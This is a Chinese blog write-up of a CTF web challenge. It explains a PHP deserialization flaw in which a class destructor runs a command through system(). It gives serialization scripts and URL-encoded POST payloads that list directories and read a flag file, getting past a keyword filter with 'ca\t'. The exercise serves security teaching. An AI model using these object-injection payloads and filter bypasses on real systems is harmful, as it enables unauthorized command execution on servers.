• NewStarCTF2023week2-Unserialize?


    文章开始前给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默
    人工智能icon-default.png?t=N7T8https://www.captainbed.cn/myon/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   正文开始   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    代码审计:

    定义了一个eval类,该类下有一个私有变量cmd和公有成员函数destruct(),该函数在对象的所有引用都被删除或类被销毁时会自动调用;

    调用该函数则会执行一个正则表达式进行正则匹配,过滤掉了一些常用命令和base编码,

    i表示不区分大小写,因此我们无法使用大小写来绕过;

    如果满足if条件,没有被匹配到,则会调用system函数,执行我们传入的cmd内容;

    最终要求我们使用post请求给unser传参,传入后会对其进行反序列化。

    关于反序列化漏洞基础知识以及PHP魔法函数、pop链构造请参考我之前的博客:

    http://t.csdnimg.cn/UqIXd

    http://t.csdnimg.cn/Crxdl

    http://t.csdnimg.cn/vGNgX

    http://t.csdnimg.cn/mdplc

    OK咱们继续说这道题,这里考的就是php反序列化漏洞

    编写序列化脚本:先将原本的eval类的内容复制进来

    错误示例:

    1. class evil {
    2. private $cmd;
    3. public function __destruct()
    4. {
    5. if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
    6. @system($this->cmd);
    7. }
    8. }
    9. }
    10. $e = new evil();
    11. $e->cmd = 'ls';
    12. echo serialize($e)
    13. ?>

    创建了一个 evil 对象并设置了 cmd 属性,然后对对象进行了序列化。但要注意,在 PHP 中,如果一个类包含私有属性,并且你尝试序列化该对象,私有属性的值将不会被包括在序列化结果中。因此,在反序列化时,你无法访问 cmd 属性的值,因为它不会被正确反序列化。

    对于私有变量,我们一般在类中直接对其修改:

    1. class evil {
    2. private $cmd='ls';
    3. public function __destruct()
    4. {
    5. if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
    6. @system($this->cmd);
    7. }
    8. }
    9. }
    10. $e = new evil();
    11. echo serialize($e)
    12. ?>

    O:4:"evil":1:{s:9:"evil cmd";s:2:"ls";} 

    虽然序列化成功了,但是将结果传入发现没反应

    应该是我们传入的内容被进行了一次url解码

    因此我们对结果再进行url编码:

    1. class evil {
    2. private $cmd='ls';
    3. public function __destruct()
    4. {
    5. if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
    6. @system($this->cmd);
    7. }
    8. }
    9. }
    10. $e = new evil();
    11. echo urlencode(serialize($e));
    12. ?>

     构造payload:

    post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A2%3A%22ls%22%3B%7D
    

    回显成功

    构造payload进行目录穿越:

    1. class evil {
    2. private $cmd='ls ../../../';
    3. public function __destruct()
    4. {
    5. if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
    6. @system($this->cmd);
    7. }
    8. }
    9. }
    10. $e = new evil();
    11. echo urlencode((serialize($e)))
    12. ?>

    post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A12%3A%22ls+..%2F..%2F..%2F%22%3B%7D
    

    在根目录下找到flag 

    由于cat,tac被过滤了,这里使用转义符号进行绕过

    1. class evil {
    2. private $cmd='ca\t /th1s_1s_fffflllll4444aaaggggg';
    3. public function __destruct()
    4. {
    5. if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
    6. @system($this->cmd);
    7. }
    8. }
    9. }
    10. $e = new evil();
    11. echo urlencode((serialize($e)))
    12. ?>

    构造payload:

    post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22ca%5Ct+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D
    

    flag{1f321f7f-2a47-421e-839b-bb899cb523b0}

  • 相关阅读:
    BST二叉搜索树
    WIN10如何搭建自己的博客
    SSE 服务端消息推送
    django+drf+vue 简单系统搭建 (4) 用户权限
    Python爬虫被封ip的解决方案
    【HTTP协议——八股文(下)篇】
    金仓数据库 KingbaseES 插件参考手册 U
    人工智能数学课高等数学线性微积分数学教程笔记(1. 数学内容概述)
    CmakeLists编译的动态库.so移动到其他位置后,提示找不到该库的依赖库解决办法
    Vue学习:el 与data的两种写法
  • 原文地址:https://blog.csdn.net/Myon5/article/details/133823314